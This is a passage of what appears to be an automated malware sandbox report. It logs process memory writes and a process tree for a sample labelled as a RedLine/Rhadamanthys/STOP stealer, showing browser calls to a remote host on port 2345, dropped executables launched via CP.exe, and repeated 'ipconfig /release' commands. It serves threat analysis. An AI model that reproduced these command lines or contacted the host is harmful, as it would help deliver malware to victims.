PID 6060 wrote to memory of 4780	6060	msedge.exe	112
PID 6060 wrote to memory of 2176	6060	msedge.exe	113
PID 6060 wrote to memory of 4780	6060	msedge.exe	112
PID 6060 wrote to memory of 2176	6060	msedge.exe	113
PID 6060 wrote to memory of 3440	6060	msedge.exe	117
PID 6060 wrote to memory of 4672	6060	msedge.exe	118
PID 6060 wrote to memory of 4672	6060	msedge.exe	118
PID 6060 wrote to memory of 1472	6060	msedge.exe	119
PID 6060 wrote to memory of 1472	6060	msedge.exe	119
PID 6060 wrote to memory of 5420	6060	msedge.exe	121
PID 6060 wrote to memory of 5420	6060	msedge.exe	121
PID 6060 wrote to memory of 5852	6060	msedge.exe	122
PID 6060 wrote to memory of 5852	6060	msedge.exe	122
PID 4636 wrote to memory of 5228	4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe	124
PID 4636 wrote to memory of 4504	4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe	128
PID 700 wrote to memory of 1132	700	ysqoidbvtq.exe	130
PID 4636 wrote to memory of 5424	4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe	133
PID 4636 wrote to memory of 3288	4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe	137
PID 5012 wrote to memory of 3040	5012	lfdavtnlfd.exe	139
PID 4636 wrote to memory of 2528	4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe	142
PID 4636 wrote to memory of 2588	4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe	146
PID 2260 wrote to memory of 5080	2260	fdxsmkicau.exe	148
PID 4636 wrote to memory of 3956	4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe	152
PID 6060 wrote to memory of 4220	6060	msedge.exe	154
PID 6060 wrote to memory of 5596	6060	msedge.exe	155
PID 6060 wrote to memory of 2424	6060	msedge.exe	156
PID 4636 wrote to memory of 2400	4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe	159
PID 4272 wrote to memory of 5628	4272	icausmkhfd.exe	161

C:\Users\Admin\AppData\Local\Temp\2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4636
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5736
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:6060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffa4631c188,0x7ffa4631c194,0x7ffa4631c1a0
      4⤵
      PID:5004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2012,i,11374565220574479536,8453021217077722204,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:11
      4⤵
      System Time Discovery
      PID:1688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1924,i,7825895456552214186,10269700585169153858,262144 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:2
      4⤵
      PID:1052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2436,i,3871629826320937182,3074704367527188211,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=2628 /prefetch:13
      4⤵
      PID:4996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3592,i,7458414126751774645,9262264067724825754,2097152 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=3836 /prefetch:1
      4⤵
      PID:3808
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3596,i,2663846469181659758,13051847067396771250,2097152 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:1
      4⤵
      PID:2752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4284,i,10344794079483695065,1372970124921402575,2097152 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:1
      4⤵
      PID:5524
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4324,i,17916818696791734788,12962948815167296748,2097152 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:9
      4⤵
      PID:5916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4420,i,6907014148524896692,3846923079652648177,2097152 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=4548 /prefetch:1
      4⤵
      PID:3880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5472,i,12320878311289589380,1471379698986178573,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:14
      4⤵
      PID:1032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3916,i,258550911313462571,3479719769023555372,2097152 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:1
      4⤵
      PID:5848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5108,i,4865345891536480769,8552376045562330839,2097152 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:1
      4⤵
      PID:4884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4564,i,3086456699330310221,2904783124963723384,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=5024 /prefetch:14
      4⤵
      PID:4780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5008,i,15165354251032652226,2487618930455609828,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:14
      4⤵
      PID:2176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,17085296288464186130,6202231276348634059,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:14
      4⤵
      PID:4652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,17085296288464186130,6202231276348634059,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:14
      4⤵
      PID:3440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6332,i,950262940398456738,12180612779520473944,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:14
      4⤵
      PID:4672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5740,i,6232325281555279485,6408588431016569241,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=6636 /prefetch:14
      4⤵
      PID:1472
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6700,i,7810382234360081166,15816319444265784966,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:14
      4⤵
      PID:5420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5916,i,16521165059399566260,11300482686100250847,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:14
      4⤵
      PID:5852
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1272,i,7013746981293635697,6762037162591595792,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=1296 /prefetch:14
      4⤵
      PID:4220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1276,i,4767975224545942345,13691155085622122819,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=4468 /prefetch:14
      4⤵
      PID:5596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1280,i,690073240864911922,3767405937078328487,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=6764 /prefetch:14
      4⤵
      PID:2424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5148,i,2909684251442188240,8097738998113520517,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:14
      4⤵
      PID:2536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6424,i,11506916395985318814,15918917788005957968,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=944 /prefetch:14
      4⤵
      PID:2236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6420,i,813459001754572719,17185187651178870560,262144 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=6404 /prefetch:10
      4⤵
      PID:3628
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6336,i,14797226134071763992,678659025102348333,524288 --field-trial-handle=2264,i,13691777429027757509,3248826658269243045,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:14
      4⤵
      PID:2812
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:6080
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    PID:52
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qomgbytrld.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3024
- - C:\Temp\qomgbytrld.exe
    C:\Temp\qomgbytrld.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4236
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4164
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1284
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qomgbytrld.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5228
- - C:\Temp\i_qomgbytrld.exe
    C:\Temp\i_qomgbytrld.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5512
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ysqoidbvtq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4504
- - C:\Temp\ysqoidbvtq.exe
    C:\Temp\ysqoidbvtq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:700
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1132
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4912
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ysqoidbvtq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5424
- - C:\Temp\i_ysqoidbvtq.exe
    C:\Temp\i_ysqoidbvtq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3696
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\lfdavtnlfd.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3288
- - C:\Temp\lfdavtnlfd.exe
    C:\Temp\lfdavtnlfd.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3040
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5388
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_lfdavtnlfd.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2528
- - C:\Temp\i_lfdavtnlfd.exe
    C:\Temp\i_lfdavtnlfd.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4308
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fdxsmkicau.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2588
- - C:\Temp\fdxsmkicau.exe
    C:\Temp\fdxsmkicau.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2260
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5080
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4372
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fdxsmkicau.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3956
- - C:\Temp\i_fdxsmkicau.exe
    C:\Temp\i_fdxsmkicau.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2668
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\icausmkhfd.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2400
- - C:\Temp\icausmkhfd.exe
    C:\Temp\icausmkhfd.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5628
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4328
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_icausmkhfd.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1996
- - C:\Temp\i_icausmkhfd.exe
    C:\Temp\i_icausmkhfd.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5240
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zxupmkecxu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:420
- - C:\Temp\zxupmkecxu.exe
    C:\Temp\zxupmkecxu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5524
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2064
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4532
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zxupmkecxu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4528
- - C:\Temp\i_zxupmkecxu.exe
    C:\Temp\i_zxupmkecxu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1916
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zuomhezxrp.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4596
- - C:\Temp\zuomhezxrp.exe
    C:\Temp\zuomhezxrp.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1908
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5576
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5728
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zuomhezxrp.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2508
- - C:\Temp\i_zuomhezxrp.exe
    C:\Temp\i_zuomhezxrp.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6112
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\romjdbzwuo.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:6024
- - C:\Temp\romjdbzwuo.exe
    C:\Temp\romjdbzwuo.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1836
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3116
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1196
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_romjdbzwuo.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2628
- - C:\Temp\i_romjdbzwuo.exe
    C:\Temp\i_romjdbzwuo.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5336
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hbztrljdbw.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3304
- - C:\Temp\hbztrljdbw.exe
    C:\Temp\hbztrljdbw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4532
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1212
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3416
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hbztrljdbw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5724
- - C:\Temp\i_hbztrljdbw.exe
    C:\Temp\i_hbztrljdbw.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4800
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\lidaywtnlg.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5956
- - C:\Temp\lidaywtnlg.exe
    C:\Temp\lidaywtnlg.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5124
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5348
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:968
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_lidaywtnlg.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4724
- - C:\Temp\i_lidaywtnlg.exe
    C:\Temp\i_lidaywtnlg.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4876
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kidavtnlfd.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1508
- - C:\Temp\kidavtnlfd.exe
    C:\Temp\kidavtnlfd.exe ups_run
